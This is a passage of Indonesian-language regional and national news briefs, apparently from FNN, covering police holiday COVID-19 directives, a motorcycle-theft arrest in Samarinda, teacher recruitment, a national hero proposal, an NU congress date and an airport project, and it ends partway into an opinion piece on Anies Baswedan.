melanjutkan perjuangan dan ketegasannya membangun Korps Adhyaksa," tutup Nurcahyo. Raden Gatot Taroenamihardja menjadi Jaksa Agung RI pertama setelah proklamasi, menjabat periode tanggal 12 Agustus 1945 sampai dengan 22 Oktober 1945. Gatot Taroenamihardja kembali terpilih sebagai Jaksa Agung RI kelima menggantikan R. Soeprapto dengan masa tugas 1 April 1959 sampai 22 September 1959. Gatot Taroenamihardja menjadi orang pertama yang dua kali memegang jabatan Jaksa Agung RI. Pemindahan makan Gatot Taroenamihardja sebagai bentuk penghormatan atas dedikasinya yang dikenal sebagai jaksa yang berani menegakkan hukum di Tanah Air. Jaksa Agung R. Gatot Tarunamihardja dikenal sebagai jaksa yang bertekad memberantas korupsi. Salah satunya kasus korupsi yang ditanganinya, korupsi oleh oknum tentara. Pemindahan tersebut dilakukan agar makam Jaksa Agung RI yang pertama itu berada di bawah kepengurusan PP PJI. (sws)

Kapolri Minta Jajaran Fokus Cegah Lonjakan COVID-19 saat Akhir Tahun

Jakarta, FNN - Kapolri Jenderal Listyo Sigit Prabowo melalui konferensi video (Vicon) meminta kepada seluruh jajaran untuk menyiapkan pengamanan Natal dan Tahun Baru 2021, antisipasi gangguan keamanan dan ketertiban, serta fokus pada pencegahan lonjakan COVID-19. Sigit mengatakan pemerintah telah menetapkan PPKM tingkat tiga saat libur natal dan tahun baru guna mengantisipasi adanya pertumbuhan angka kasus COVID-19, termasuk varian baru AY.4.2. "Lakukan Kegiatan Rutin Yang Ditingkatkan (KRYD) pada saat sebelum dan setelah operasi lilin guna mengimplementasikan kebijakan tersebut," kata Sigit, dalam keterangan tertulis yang diterima di Jakarta, Kamis. Menurut Sigit, antisipasi tersebut bisa dilakukan dengan penguatan Posko PPKM Mikro. Jika memang ada masyarakat yang nekat untuk pulang kampung atau mudik, maka warga harus wajib melapor melalui Posko PPKM Mikro di wilayah setempat. Jenderal bintang empat itu menyebutkan, dalam hal ini, TNI-Polri dan "stakeholders" terkait harus memperkuat sinergitas dalam memberikan sosialisasi, edukasi terhadap masyarakat, serta penanganan dan pengendalian COVID-19. "Melakukan sosialisasi pembatasan PPKM tingkat tiga pada saat natal dan tahun baru sehingga masyarakat dapat mempersiapkan diri dari jauh hari. Memasang banner, spanduk, baliho yang berisi imbauan kepada pemudik terkait prokes, kewajiban isoman dan standar isoman yang baik," ujar Sigit. Ia menerangkan, warga yang akan mudik diberikan surat keterangan yang berisikan identitas, sertifikat vaksin dosis dua, dan hasil swab dalam rangka pengendalian COVID-19. Tak hanya itu, Sigit mengatakan kepolisian harus melakukan pengendalian COVID-19 di jalur moda transportasi darat, udara dan laut, guna memastikan tidak adanya lonjakan kasus positif saat natal dan tahun baru. Mantan Kabareskrim Polri itu juga menekankan kepada jajaran terkait dengan penanganan yang tepat untuk warga yang sudah sampai ke lokasi tujuan mudik. Mulai dari lapor ke Posko PPKM, memberikan hasil swab antigen, menyerahkan sertifikat vaksin dosis dua, dan menyiapkan tempat Isolasi Terpusat (Isoter), jika ada warga yang dinyatakan positif COVID-19. Menurut Sigit, segala antisipasi dan upaya untuk mencegah gangguan kamtibmas dan lonjakan COVID-19 saat libur natal dan tahun baru harus benar-benar terlaksana dengan baik. Hal ini mengingat, Indonesia menjadi negara pertama di Asia Tenggara dalam hal penanganan COVID-19 dan berdasarkan pusat pengendalian dan pencegahan penyakit (CDC) Amerika Serikat, Indonesia masuk dalam kategori zona hijau COVID-19 dengan tingkat penularan kasus berada di level satu, sehingga aman untuk dikunjungi. "Tren positif itu harus dipertahankan," kata Sigit. Tak hanya itu, kata Sigit, Indonesia akan menjadi tuan rumah di beberapa agenda internasional. Karena itu, sebagai salah satu yang berada di garda terdepan, Polri harus memastikan untuk mencegah gangguan kamtibmas dan lonjakan COVID-19. "Capaian ini perlu dipertahankan, dengan penguatan prokes, 3T dan meningkatkan capaian vaksinasi. Hal ini penting sebagai langkah antisipasi guna mencegah terjadinya gelombang ketiga COVID-19," tutur Sigit. Tak hanya itu, dalam vicon tersebut, mantan Kadiv Propam Polri itu juga menerima laporan dari Divisi Propam Polri soal laporan dari pelanggaran oknum anggota kepolisian. Hal itu yang memengaruhi tingkat kepercayaan publik terhadap kepolisian saat ini. Untuk itu, kata Sigit, dengan adanya laporan rapor merah terkait pelanggaran anggota tersebut, harus dijadikan bahan evaluasi guna kembali meningkatkan tingkat kepercayaan publik terhadap Polri. "Jadi sekali lagi itu adalah potret yang muncul dari apa yang terjadi di masyarakat. Silahkan ini menjadi masukan bagi kita semua kemudian kita perbaiki. Saya kira hal-hal tersebut akan membuat masyarakat juga memahami kita, Polri berusaha terus lakukan atau laksanakan perubahan internal untuk jadi lebih baik," kata Sigit. "Terakhir, kita harus selalu optimis bahwa kepercayaan publik akan terus meningkat dengan terus melakukan perbuatan yang baik," terang Sigit. (sws)

Polrestabes Surabaya Imbau Suporter Bonek Tunda Demonstrasi

Surabaya, FNN - Kepolisian Resor Kota Besar Surabaya mengimbau pendukung tim sepak bola Persebaya Surabaya yang akrab disapa Bonek menunda rencana demonstrasi yang menurut jadwal digelar hari ini, Kamis, 25 November. Kepala Polrestabes Surabaya, Komisaris Besar Polisi Akhmad Y Gunawan, Rabu malam, mengatakan, sepanjang Kamis akan ada tiga rencana kegiatan demonstrasi. "Selain aksi unjuk rasa bonek, juga ada aksi dari pengungsi asal negara Afganistan di depan Kantor Konsulat Jenderal Australia di Surabaya. Selain itu, yang melibatkan massa dengan jumlah cukup besar adalah aksi unjuk rasa buruh," katanya, kepada wartawan di Surabaya. Ia memastikan tiga kegiatan aksi unjuk rasa itu mendapatkan pengamanan. Tapi menurut dia, ada baiknya kalau salah satunya ditunda dulu agar personel kepolisian bisa fokus melakukan pengamanan pada aksi unjuk rasa buruh yang melibatkan massa cukup besar, dengan jumlah sebanyak 6.000 orang, menurut laporan yang masih di Polrestabes Surabaya. "Untuk itu, malam ini sedang kami koordinasikan dengan tokoh-tokoh bonek dan juga Yayasan Suporter Surabaya atau YSS. Mudah-mudahan teman-teman bonek bisa memahami dan membantu agar Surabaya tetap kondusif," ujarnya. Rencananya, Kamis, Bonek menggelar aksi unjuk rasa terkait mafia sepak bola. Sementara dia memastikan menyiapkan sebanyak 1.500 personel yang fokus utamanya melakukan pengamanan aksi unjuk rasa buruh dengan jumlah massa sebanyak 6.000 orang. Ribuan personel itu tidak hanya berasal dari Polrestabes Surabaya, melainkan dari kepolisian sekitar, seperti Polres Sidoarjo, Gresik, Pasuruan, Mojokerto dan Kepolisian Daerah Jawa Timur. Selain itu, pengamanan aksi unjuk rasa yang berlangsung pada hari ini juga dibantu oleh aparat Tentara Nasional Indonesia (TNI) dengan mengerahkan personel sebanyak enam satuan setingkat kompi. Masing-masing dari TNI AD yang dibantu Komando Daerah Militer V/Brawijaya dengan mengerahkan sebanyak tiga SSK, serta dari TNI AL yang dibantu Komando Armada II dengan mengerahkan sebanyak tiga SSK. (sws)

Kapolri Minta Jajaran Petakan Potensi Kerawanan Jelang Nataru

Jakarta, FNN - Kepala Kepolisian Republik Indonesia, Jenderal Polisi Listyo S Prabowo, meminta seluruh jajarannya untuk memetakan potensi kerawanan dan melakukan antisipasi sejak dini terhadap potensi gangguan keamanan dan ketertiban masyarakat menjelang Natal dan tahun baru. Saat memberikan arahan kepada menggelar seluruh jajaran mulai dari pejabat utama, kepala Polda hingga Polres melalui konferensi video, Rabu (25/11), dia mengatakan situasi kamtibmas sampai saat ini masih relatif kondusif. Meski demikian, kata dia, perlu antisipasi karena pada akhir tahun 2021 terdapat banyak kegiatan yang berpotensi menjadi gangguan kamtibmas apabila tidak dikelola secara baik. "Seluruh kepala Satker dan kepala Satwil sudah harus mulai memetakan potensi kerawanan dan mempersiapkan rencana pengamanan serta langkah-langkah antisipasi," kata dia. Ia menjelaskan, yang harus diantisipasi sejak dini di antaranya adalah gangguan kelompok bersenjata Papua, unjuk rasa, dan aksi terorisme. Selain gangguan kamtibmas, dia juga meminta kepada seluruh jajarannya untuk bergerak cepat dalam upaya mitigasi bencana alam. Ia menegaskan, polisi harus hadir dengan cepat untuk membantu masyarakat yang menjadi korban bencana alam. Untuk itu, kata dia, perlu dilakukan simulasi penanganan bencana agar pada saat terjadi bencana maka seluruh personel yang bertugas sudah siap dan tahu akan tugasnya. "Dirikan posko serta siapkan sarana-prasarana evakuasi dan penanggulangan genangan air bekerja sama dengan pemangku kepentingan terkait untuk mempercepat penanganan banjir, evakuasi warga, distribusi logistik, dan lainnya," ujar dia. Selain antisipasi gangguan kamtibmas, dia menekankan kepada jajaran untuk fokus mempersiapkan pengamanan dan pengendalian Covid-19 menjelang libur Natal 2021 dan Tahun Baru 2022. Pemerintah telah menetapkan PPKM tingkat III saat libur Natal-Tahun Baru guna mengantisipasi pertumbuhan angka virus corona. Oleh karena itu, dia menyebut, jajaran kepolisian tetap melakukan Kegiatan Rutin Yang Ditingkatkan pada saat sebelum dan setelah Operasi Lilin 2021 guna mengimplementasikan kebijakan itu. Menurut dia, antisipasi itu bisa dilakukan dengan penguatan Posko PPKM Mikro. Jika memang ada masyarakat yang nekat untuk pulang kampung atau mudik maka warga harus wajib melapor melalui Posko PPKM Mikro setempat. Ia menyebut, dalam hal ini TNI-Polri dan pemangku kepentingan terkait harus memperkuat sinergi dalam memberikan sosialisasi, edukasi terhadap masyarakat, serta penanganan dan pengendalian Covid-19. "Melakukan sosialisasi pembatasan PPKM level 3 pada saat Nataru sehingga masyarakat dapat mempersiapkan diri dari jauh hari. Memasang banner, spanduk, baliho yang berisi imbauan kepada pemudik terkait prokes, kewajiban isoman dan standar isoman yang baik," kata dia. Dalam hal ini, warga yang akan mudik diberikan surat keterangan yang berisikan identitas, sertifikat vaksin dosis kedua, dan hasil swab dalam rangka melakukan pengendalian Covid-19. Tak hanya itu, guna memastikan tidak ada lonjakan saat Natal-Tahun Baru, dia mengatakan, polisi harus melakukan pengendalian Covid-19 di jalur moda transportasi darat, udara dan laut. Sementara itu, untuk warga yang sudah sampai ke lokasi tujuan mudik, dia menekankan kepada jajaran terkait dengan penanganan yang tepat. Mulai dari lapor ke Posko PPKM, memberikan hasil swab antigen, menyerahkan sertifikat vaksin dosis kedua, dan menyiapkan tempat isolasi terpusat, jika ada warga yang dinyatakan positif Covid-19. "Segala antisipasi dan upaya untuk mengantisipasi gangguan kamtibmas dan mencegah lonjakan COVID-19 saat libur Nataru harus benar-benar terlaksana dengan baik," kata dia. (sws)

Polresta Samarinda Ringkus Sindikat Curanmor Antarkota dalam Provinsi

Samarinda, FNN - Unit Jatanras Satreskrim Polresta Samarinda, Kaltim, berhasil mengungkap dan meringkus para sindikat pelaku Pencurian Kendaraan Bermotor (Curanmor) yang beraksi di antar kota dalam provinsi setempat. "Memang benar, kami telah berhasil mengungkap kasus sindikat Curanmor yang sering beraksi di beberapa kota di Kaltim ini," ucap Wakasat Reskrim Polresta Samarinda AKP Kadiyo di Samarinda, Rabu. Dikatakannya, pengungkapan kasus tersebut bermula saat Polres Penajam Paser Utara (PPU), mengungkap kasus Curanmor di PPU. Kemudian dikembangkan dari hasil penyelidikan aksi tersebut tidak dilakukan sendiri melainkan bersama pelaku lainnya yang diketahui benama Udin Nur (60) yang merupakan warga asal Banjarmasin, Kalsel, yang bekerja sebagai penjual sendal. Udin dan rekannya bernama Ahmad Rifai alias Anjar yang sudah tertangkap itu merupakan seorang residivis dengan kasus yang sama. "Untuk pelaku Udin, memang benar dia seorang residivis dan telah tiga kali diamankan di Polresta Samarinda dengan kasus Curanmor," kata Wakasat Reskrim dalam pres rillisnya bersama awak media. Wakasat terus mengatakan, modus yang digunakan oleh Udin bersama rekannya itu, adalah mengincer motor-motor yang tak di kunci stang serta yang kunci masih menempel di sepeda motor. "Jadi, setelah mereka berhasil mengambil motor, barulah mereka merusak rumah kunci motor tersebut, dengan menggunakan kunci T," ujarnya. Terus dikatakannya, para pelaku ini telah beraksi di beberapa kota di Kaltim seperti Samarinda, Kutai Kartanegara (Kukar) dan Tenggarong. Tetapi, polisi baru menerima empat laporan warga di Samarinda dan dari pelaku telah diamankan 13 unit sepeda motor. Sepeda motor hasil curian tersebut langsung dijual pelaku Udin ke Banjarmasin ke penadahnya, yang saat ini memang telah diamankan oleh Polda Kalimantan Selatan (Kalsel). "Pengungkapan kasus ini, kurang lebih selama 10 hari bersama Tim Macan Boneo dan Unit Jatanras Polresta Samarinda," tuturnya. AKP Kadiyo berharap bagi warga Samarinda yang merasa kehilangan sepeda motornya, agar bisa melaporkan ke Polresta Samarinda dan membawa surat-surat kendaraannya sebagai bukti. Bukan itu saja, Wakasat juga mengatakan Tim Macan Borneo juga mengamankan para pelaku Curanmor yang beraksi di dua Tempat Kejadian Perkara (TKP) yakni di kawasan Jalan Untung Suropati Kelurahan Karang Asam Ulu Sungai Kunjang dan Samarinda Ulu. "Jadi, dari hasil ungkap kasus ini total ada lima tersangka yang kami amankan dan mereka semua para eksekutor dan penadahnya," tuturnya. Atas perbuatannya, para pelaku dikenakan Pasal 363 KUHP dengan ancaman hukuman pidana penjara maksimal sembilan tahun. (sws)

Anggota DPR: Hari Guru Momentum Tuntaskan Rekrutmen Sejuta Honorer

Jakarta, FNN - Ketua Komisi X DPR RI Syaiful Huda mengatakan Hari Guru Nasional jadi momentum untuk meneguhkan komitmen memperjuangkan kesejahteraan para pendidik, salah satunya menuntaskan program Rekrutmen Sejuta Guru Honorer sebagai pegawai pemerintah dengan perjanjian kerja (PPPK). "Pelaksanaan rekrutmen sejuta guru honorer menjadi PPPK akan terus kami kawal sebagai bagian komitmen kami untuk memajukan, memuliakan, menghormati, dan meningkatkan kesejahteraan guru-guru yang ada di Indonesia," kata Syaiful Huda dalam keterangannya di Jakarta, Kamis. Ia mengatakan bahwa pengelolaan tenaga kependidikan masih menjadi salah satu persoalan krusial dalam manajemen pendidikan di Indonesia. Menurut dia, ketidakseimbangan jumlah guru dengan kebutuhan di lapangan, tidak meratanya distribusi guru, hingga minimnya kesejahteraan guru merupakan masalah-masalah yang dari tahun ke tahun belum juga terselesaikan. "Padahal, guru merupakan tulang punggung bagi terselenggaranya pendidikan yang berkualitas. Bagaimana mengharapkan kualitas sumber daya manusia Indonesia akan mumpuni jika para guru tidak bisa mendidik secara optimal," ujarnya. Huda menilai program sejuta guru honorer menjadi PPPK merupakan langkah terobosan pemerintah untuk menyelesaikan permasalah tenaga kependidikan di Indonesia. Namun, menurut dia, masih banyak permasalahan terkait dengan pelaksanaan mulai dari rendahnya pengajuan formasi dari pemerintah daerah, tingginya passing grade seleksi, rendahnya poin afirmasi, hingga kepastian jadwal seleksi. "Berbagai permasalahan itu harus segera dituntaskan agar target rekrutmen sejuta guru honorer ini bisa tuntas tidak lebih dari tahun 2022. Jangan sampai pelaksanaan program Rekrutmen Sejuta Guru Honorer ini menjadi persoalan tersendiri di kemudian hari karena tak kunjung tuntas," katanya. Ia menilai potensi berlarutnya rekrutmen sejuta guru honorer menjadi guru PPPK sangat dimungkinkan terjadi sehingga diperlukan pengawalan dari pemangku kepentingan pendidikan, mulai dari organisasi guru, aktivis pendidikan, hingga para wakil rakyat agar program ini benar-benar tuntas. Menurut dia, berbagai program itu harus dikawal sehingga pemerintah dalam hal ini Kemendikbud Ristek, Kemenpan RB, hingga Badan Kepegawaian Negara (BKN) bekerja sungguh-sungguh untuk fokus menyelesaikan rekrutmen sejuta guru honorer menjadi PPPK. "Salah satu persoalan krusial yang bisa menghambat program Rekrutmen Sejuta Guru Honorer ini adalah masalah anggaran. Belum sepenuhnya alokasi 20 persen dana APBN untuk pendidikan untuk fungsi pendidikan membuat banyak masalah krusial pendidikan, termasuk pengelolaan guru tidak kunjung tuntas," ujarnya. (sws)

Mempawah Dukung Dr Rubini Ditetapkan Jadi Pahlawan Nasional

Pontianak, FNN - Bupati Mempawah, Erlina mengatakan pemerintah kabupaten setempat mendukung dr. Rubini sosok dokter yang mengabdikan dirinya bagi masyarakat Kalbar dan Indonesia yang juga salah satu korban peristiwa Mandor pada masa penjajahan Jepang, ditetapkan sebagai pahlawan nasional. ''Pemkab Mempawah sudah menganggap beliau sebagai pahlawan nasional, dengan dirikannya rumah sakit dr. Rubini di Mempawah," kata Erlina, di Pontianak, Kamis. Sebelumnya, Selasa (16/11) didampingi Wakil Gubernur Kalbar Ria Norsan, Bupati Mempawah Erlina, dan Ahli Sejarah Kalbar Syafaruddin Usaman, cucu dari almarhum dr. Rubini yakni Rubianto Wiyogo berserta istri Giwo Rubianto Wiyogo yang juga merupakan Ketua Umum Kongres Wanita Indonesia (Kowani) mengunjungi lokasi-lokasi semasa hidup dr Rubini hingga menjadi korban kekejaman penjajah Jepang di salah satu makam Juang Mandor, kata Erlina. Seperti diketahui peristiwa Mandor merupakan sejarah yang sangat memilukan di Kalimantan Barat. Di mana, satu generasi terbaik, kaum terpelajar, cendekiawan gugur akibat pembantaian Jepang dan diperkirakan sekitar 21 ribu orang menjadi korban kebiadaban Jepang di masa itu. Salah satunya yang menjadi korban yakni dr. Rubini, yang kini diabadikan menjadi nama jalan dan nama rumah sakit di Kabupaten Mempawah. Dalam memperingati Hari Pahlawan beberapa waktu lalu, keturunan dari almarhum dr. Rubini melakukan napak tilas, mulai dari ke Rumah Sakit Sungai Bangkong Pontianak di mana dr. Rubini dahulu menjadi kepala kesehatan, kemudian ke Rumah Sakit Umum Daerah dr. Rubini Mempawah, dan ke Makam Juang Mandor di Kabupaten Landak, di mana beliau dimakamkan. Rubianto Wiyogo, cucu dari dr. Rubini menjelaskan napak tilas yang dilakukan keluarga korban ini selain mengenang almarhum juga merupakan rangkaian dari usaha untuk mengusulkan dr. Rubini sebagai pahlawan nasional. Dia menceritakan, pada tahun 1934, kakeknya yakni dr. Rubini datang ke Pontianak sebagai tenaga kesehatan, dan pada saat penjajahan Jepang, sang kakek membentuk satu kelompok cendekiawan yang menentang penjajahan Jepang di tahun 1942, hingga pada akhirnya tahun 1944, dr. Rubini bersama istrinya ditangkap oleh tentara Jepang dan tidak pernah kembali. ''Kami ingin mengingat jasa dan pengorbanan eyang dr. Rubini pada 1933 datang ke Pontianak sebagai tenaga kesehatan dan pada tahun 1944 hingga terjadinya peristiwa Mandor. Pada saat itu memang dr. Rubini telah membentuk satu kelompok cendekiawan yang menentang penjajahan Jepang, jadi sudah selayaknyalah beliau diusulkan menjadi pahlawan nasional,'' ujarnya. Sementara itu, Ahli Sejarah Kalbar, Syafaruddin Usman menilai bahwa dr. Rubini merupakan sosok pemersatu bangsa pada masanya. Walaupun bukan lahir dan besar di Kalbar, namun dr. Rubini dinilainya berjiwa Kalbar. Dia mengatakan, dr. Rubini pada masa itu bersama istrinya Amalia Rubini merupakan salah satu pemimpin dari organisasi pergerakan menentang penjajahan Jepang dengan semboyan 'bergerak selagi bernafas". Kemudian pada tahun 1943 para tokoh masyarakat cendekiawan termasuk dr. Rubini dan istrinya Amalia Rubini di giring ke kamp tahanan di Jalan Penjara, yang saat ini menjadi rumah Sakit Antonius. "Hingga beberapa bulan kemudian, sebuah surat kabar pada masa itu yang bernama Borneo Shinbun membuat berita pada 1 Juli 1944 dengan makna Jepang telah membongkar komplotan besar yang menentang Jepang sudah dibongkar hingga ke akar-akarnya, dan para pemimpin pergerakan sudah dijatuhi hukuman mati," katanya. Pada berita itu pun terdapat 12 foto wajah tokoh pergerakan di Kalbar, dua diantaranya yakni dr. Rubini dan istrinya Amalia Rubini, pada saat itu pun dituliskan pula 69 nama yang merupakan tokoh-tokoh pergerakan pada masa itu, di antara ribuan orang yang hilang. ''Kurang apa hebatnya, beliau pemersatu, sebagai pengayom, jembatan antar generasi, memang bukan kelahiran sini namun berjiwa Kalbar, masyarakat yang berbeda ras, agama, etnis, yang ada di Kalbar bisa dia persatukan, dan di Makam Juang Mandor inilah, merupakan revitalisasi Kebhinnekaan Tunggal Ika bangsa Indonesia," kata Syafaruddin Usman. (sws)

BNN RI Raih Penghargaan di Indonesia Awards 2021

Jakarta, FNN - Badan Narkotika Nasional Republik Indonesia (BNN RI) meraih penghargaan di Indonesia Awards 2021 pada kategori Collaborative and Sinergetic Stakeholder Partnership sebagai bentuk apresiasi kepada BNN atas kerja sama dan sinergisitas BNN dengan para pemangku kepentingan. "Saya mewakili Kepala BNN RI di sini sangat berterima kasih atas apresiasi yang luar biasa terhadap kinerja BNN RI selama ini, terutama kepada rekan-rekan yang telah membantu kami dalam program pencegahan, pemberantasan, penyalahgunaan, dan peredaran gelap narkotika," kata Sekretaris Utama BNN RI I Wayan Sukawinaya dalam keterangan yang diterima di Jakarta, Kamis. Sekretaris Utama BNN RI ini juga tidak lupa menyampaikan ucapan terima kasihnya kepada Executive Chairman MNC Group Hary Tanoesoedibjo dan rekan-rekan MNC Group lainnya atas penghargaan dan apresiasi yang diberikan kepada BNN RI dalam acara Indonesia Awards 2021. Penghargaan yang diberikan kepada BNN RI ini merupakan bentuk penghargaan bahwa BNN RI sebagai lembaga yang dapat bekerja dengan baik dalam meningkatkan kerja sama dengan para pemangku kepentingan terkait. Dalam kesempatan ini, Sekretaris Utama BNN RI berharap agar penghargaan Indonesia Awards 2021 ini dapat terus dilaksanakan untuk membantu meningkatkan kinerja BNN RI agar lebih baik lagi dalam menjalankan program-program yang berkaitan dengan para pemangku kepentingan lainnya, termasuk juga dengan media. I Wayan Sukawinaya mewakili Kepala BNN RI Petrus Reinhard Golose saat menghadiri acara Indonesia Awards 2021 secara langsung di Jakarta Concert Hall, Rabu (24/11). Acara Indonesia Award 2021 yang dilaksanakan oleh iNews ini bertemakan Leading in the Time of Crisis. Tema tersebut merupakan bentuk pemberian apresiasi kepada tokoh, pimpinan lembaga negara, pimpinan daerah, dan instansi yang secara konsisten melakukan hal positif bagi Indonesia di bidangnya masing-masing selama masa pandemi COVID-19. Indonesia Award 2021 ini dihadiri oleh Menteri Koordinator Bidang Kemaritiman Luhut Binsar Pandjaitan, Menteri Badan Usaha Milik Negara RI Erick Thohir, Wakil Menteri Perdagangan RI Jerry Sambuaga, Wakil Menteri Pariwisata dan Ekonomi Kreatif Angela Tanoesoedibjo, Gubernur Jawa Barat Ridwan Kamil, serta sejumlah pejabat tinggi daerah lainnya. (sws)

Sembilan Kiai Sepuh Usul Muktamar NU Diundur Akhir Januari 2022

Jakarta, FNN - Sembilan kiai sepuh mengusulkan Muktamar Ke-34 NU diundur pada akhir Januari 2022 bertepatan dengan peringatan Hari Lahir Ke-39 NU. Usulan tersebut merupakan hasil kesepakatan sembilan kiai sepuh yang bertemu di Jakarta, Rabu (24/11). Hadir dalam pertemuan itu K.H. Farid Wadjdy dari Kaltim, K.H. Abdul Kadir Makarim (NTT), K.H. Bun Bunyamin (Jabar), K.H. Muhshin Abdillah (Lampung), K.H. Anwar Manshur (Jatim), K.H. Abuya Muhtadi Dimyati (Banten), K.H. Kharis Shodaqoh (Jateng), Buya Bagindo Leter (Sumbar), dan K.H. Manarul Hidayat (Jakarta). "Muktamar Ke-34 Nahdlatul Ulama dilaksanakan dengan persiapan yang maksimal dan optimal. Oleh karena itu, idealnya Muktamar Ke-34 Nahdlatul Ulama dilaksanakan pada akhir Januari 2022 bertepatan dengan Harlah Ke-96 NU," demikian bunyi salah satu kesepakatan tersebut, dikutip dari salinan berita acara pertemuan, Kamis. Para kiai sepuh juga berharap agar Muktamar Ke-34 NU dapat berlangsung secara kekeluargaan, persaudaraan, dan kebersamaan, termasuk mengedepankan suasana teduh, aman, damai, dan harmonis. Selanjutnya, para kiai sepuh akan bersurat kepada Pengurus Besar Nahdlatul Ulama (PBNU) agar dapat menindaklanjuti hasil pertemuan tersebut. Sesuai dengan keputusan Munas dan Konbes NU Tahun 2021, sedianya Muktamar Ke-34 NU akan digelar di Provinsi Lampung pada tanggal 23—25 Desember 2021. Namun, menyusul rencana pemerintah untuk menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3 di seluruh Indonesia maka waktu pelaksanaan Muktamar NU dijadwal ulang. Terdapat dua aspirasi terkait dengan penjadwalan ulang waktu pelaksanaan muktamar, yakni ada yang ingin muktamar tetap dilaksanakan pada bulan Desember. Namun, tanggalnya dimajukan dan ada yang ingin muktamar ditunda awal tahun depan. Hingga saat ini PBNU belum memutuskan untuk memajukan atau memundurkan Muktamar NU dari jadwal semula. Sekretaris Munas dan Konbes NU 2021 Imdadun Rahmat mengatakan dalam surat keputusan Panitia Munas NU 2021 yang digelar September lalu, PBNU menyepakati agar Muktamar NU memperhatikan kondisi Covid-19. Hal ini dilakukan agar muktamar menjadi kemaslahatan untuk semua. (sws)

BKAD Purwakarta: Realisasi Belanja Daerah Sudah Mencapai 65,9 Persen

Purwakarta, FNN - Badan Keuangan dan Aset Daerah (BKAD) Kabupaten Purwakarta, Jawa Barat, menyatakan realisasi belanja daerah yang bersumber dari APBD 2021 hingga pekan ketiga November mencapai 65,9 persen. Kepala BKAD Kabupaten Purwakarta Norman Nugraha dalam siaran pers yang diterima di Purwakarta, Kamis, menyampaikan realisasi belanja 65,9 persen itu dari nilai anggaran daerah yang mencapai Rp2,5 triliun. Ia mengakui capaian realisasi belanja daerah tersebut terbilang masih rendah jika dibanding pada tahun-tahun sebelum pandemi. Hal itu terjadi karena terdapat beberapa kendala dalam penyerapan anggaran. "Kendala yang pertama, itu karena masih banyak kegiatan yang masih berproses lelang sehingga pencairannya baru bisa diproses di akhir tahun," katanya. Norman menyebutkan salah satu yang menjadi kendala rendahnya serapan anggaran ialah karena administrasinya sehingga banyak pekerjaan, terutama kegiatan fisik yang baru bisa menjelang akhir tahun. "Kedua, proses PBD perubahan baru berjalan 1 bulan. Dengan begitu, masih banyak belanja di setiap SKPD yang belum terproses," kata dia. Menurut dia, sebenarnya sejauh ini serapan anggaran di masing-masing satuan kerja perangkat daerah (SKPD) sudah berjalan cukup baik. Sesuai dengan pengalaman tahun-tahun sebelumnya, memang biasanya anggaran ini akan mulai terserap maksimal pada bulan Desember. Oleh karena itu, pihaknya optimistis realisasi serapan APBD tersebut minimalnya bisa mencapai lebih dari 75 persen hingga akhir tahun nanti. "Kalau bicara realisasi, itu biasanya di angka 80 persen. Kalau 100 persen, pasti tak mungkin karena pasti ada saja sisa-sisa anggaran yang tidak terserap," katanya. Dalam perumusan APBD 2021, kata dia, penanganan COVID-19 memang masih menjadi prioritas utama. Akan tetapi, fokus yang lain juga tetap rencanakan, seperti penanganan infrastruktur, pemulihan ekonomi, dan sebagainya sesuai dengan arahan dari pusat. (sws)

KSP Upayakan Solusi Kendala Pembangunan Bandara Siboru Papua Barat

Jakarta, FNN - Kantor Staf Kepresidenan (KSP) menyatakan akan berkoordinasi dengan kementerian/lembaga lain untuk mencari solusi atas kendala pembangunan Bandara Siboru, Kabupaten Fakfak, Papua Barat. Tenaga Ahli Utama KSP Ali Mochtar Ngabalin dalam keterangannya diterima di Jakarta, Kamis, mengatakan ada beberapa kendala dalam pembangunan Bandara Siboru, yakni masalah cuaca yang kerap diguyur hujan, akses jalan, akses listrik, hingga masih terbatasnya panjang landasan terbang. Ngabalin mengatakan KSP akan secepatnya berkoordinasi dengan kementerian dan lembaga lain untuk mempercepat pembangunan bandara, sekaligus penambahan jarak landasan pacu, serta infrastruktur pendukung lainnya. “Persoalan ini harus segera diselesaikan karena akan menyulitkan operasional bandara,” kata Ngabalin. Bandara Siboru merupakan salah satu Proyek Strategis Nasional (PSN) yang diperkirakan akan mendorong investasi, pariwisata dan potensi ekonomi lainnya di Papua Barat. Wakil Bupati Fakfak Yohana Dina Hindom menerangkan panjang landasan Bandara Siboru hanya 1.600 meter. Artinya, panjang landasan sama hanya bisa digunakan pesawat jenis ATR. Pemkab Fakfak menginginkan agar landasan Bandara Siboru diperpanjang menjadi 2.500 meter. "Sehingga bisa digunakan untuk pesawat yang lebih besar dan berdampak positif bagi investasi dan pariwisata," kata Yohana. PPK (Pejabat Pembuat Komitmen) Proyek Pembangunan Bandara, Siboru Eko Priyadi, menyampaikan, hingga November 2021 proses pembangunan Bandara Siboru telah mencapai 48,2 persen. Proses pembangunan ditargetkan selesai pada 2022. Bupati Fakfak Untung Tamsil mengapresiasi kehadiran tim KSP yang mewakili pemerintah pusat untuk memantau langsung pembangunan Bandara Siboru. Untung menyampaikan Bandara Siboru menjadi salah satu cita-cita masyarakat setempat agar Fakfak semakin maju. “Fakfak adalah kota tertua, kota peradaban yang mengenal keberagaman. Maka tidak salah bapak Presiden Joko Widodo memberi perhatian kepada tanah kami,” ungkap Untung. Kehadiran tim KSP ke Fakfak sekaligus menjadi bagian dari fungsi menghilangkan hambatan atau "debottlenecking" tantangan yang ditemui dalam Proyek Strategis Nasional. Dengan begitu, KSP bisa memastikan pembangunan PSN berjalan sesuai rencana dan selesai pada 2022 mendatang. (sws)

Anies Menepis Pesimis

Oleh: Yusuf Blegur Mengulas program-program pembangunan yang dilaksanakan Pemerintah Provinsi DKI Jakarta, baik menyangkut fisik dan non fisik maupun penataan wilayah dalam ranah fungsi dan estetika, sejatinya memang menampilkan perubahan yang progresif dan signifikan pada wajah Ibu kota negara yang menjadi episentrum bagi jalannya roda pemerintahan pusat. Keberhasilan pembagunan di Jakarta dapat dilihat dari beberapa indikator termasuk beberapa penghargaan baik dari dalam negeri maupun internasional serta tingkat kepuasan publik atas perubahan Kota Jakarta yang lebih modern namun tetap humanis. Pun demikian, kinerja Pemprov DKI yang digawangi Anies Risyad Baswedan, masih saja terdengar suara sinis dan riuh dari segelintir orang dan atau beberapa kelompok. Tentunya dari kalangan tertentu yang sejak awal sudah menunjukkan sikap subyektif, apriori dan skeptis. Bahkan sejak figur Anies memenangkan Pilkada DKI tahun 2017 dan belum menjalankan roda pemerintahan di Tanah Betawi tersebut. Faktanya, Anies memang memiliki dua tanggung jawab besar selaku gubernur DKI Jakarta. Pertama ia harus mengemban dan 